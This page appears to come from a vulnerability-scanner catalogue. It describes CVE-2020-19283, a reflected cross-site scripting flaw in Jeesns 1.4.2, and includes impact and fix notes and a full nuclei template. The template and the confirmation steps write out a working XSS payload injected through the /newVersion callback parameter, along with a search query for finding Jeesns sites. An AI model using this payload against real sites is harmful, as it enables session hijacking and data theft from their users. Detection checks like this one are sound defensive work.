Jeesns 1.4.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /newVersion component and allows attackers to execute arbitrary web scripts or HTML.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-19283 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-19283

info:
  name: Jeesns 1.4.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /newVersion component and allows attackers to execute arbitrary web scripts or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/10
    - https://www.seebug.org/vuldb/ssvid-97939
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19283
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19283
    cwe-id: CWE-79
    epss-score: 0.02633
    epss-percentile: 0.85669
    cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeesns
    product: jeesns
    fofa-query: title="jeesns"
  tags: cve,cve2020,jeesns,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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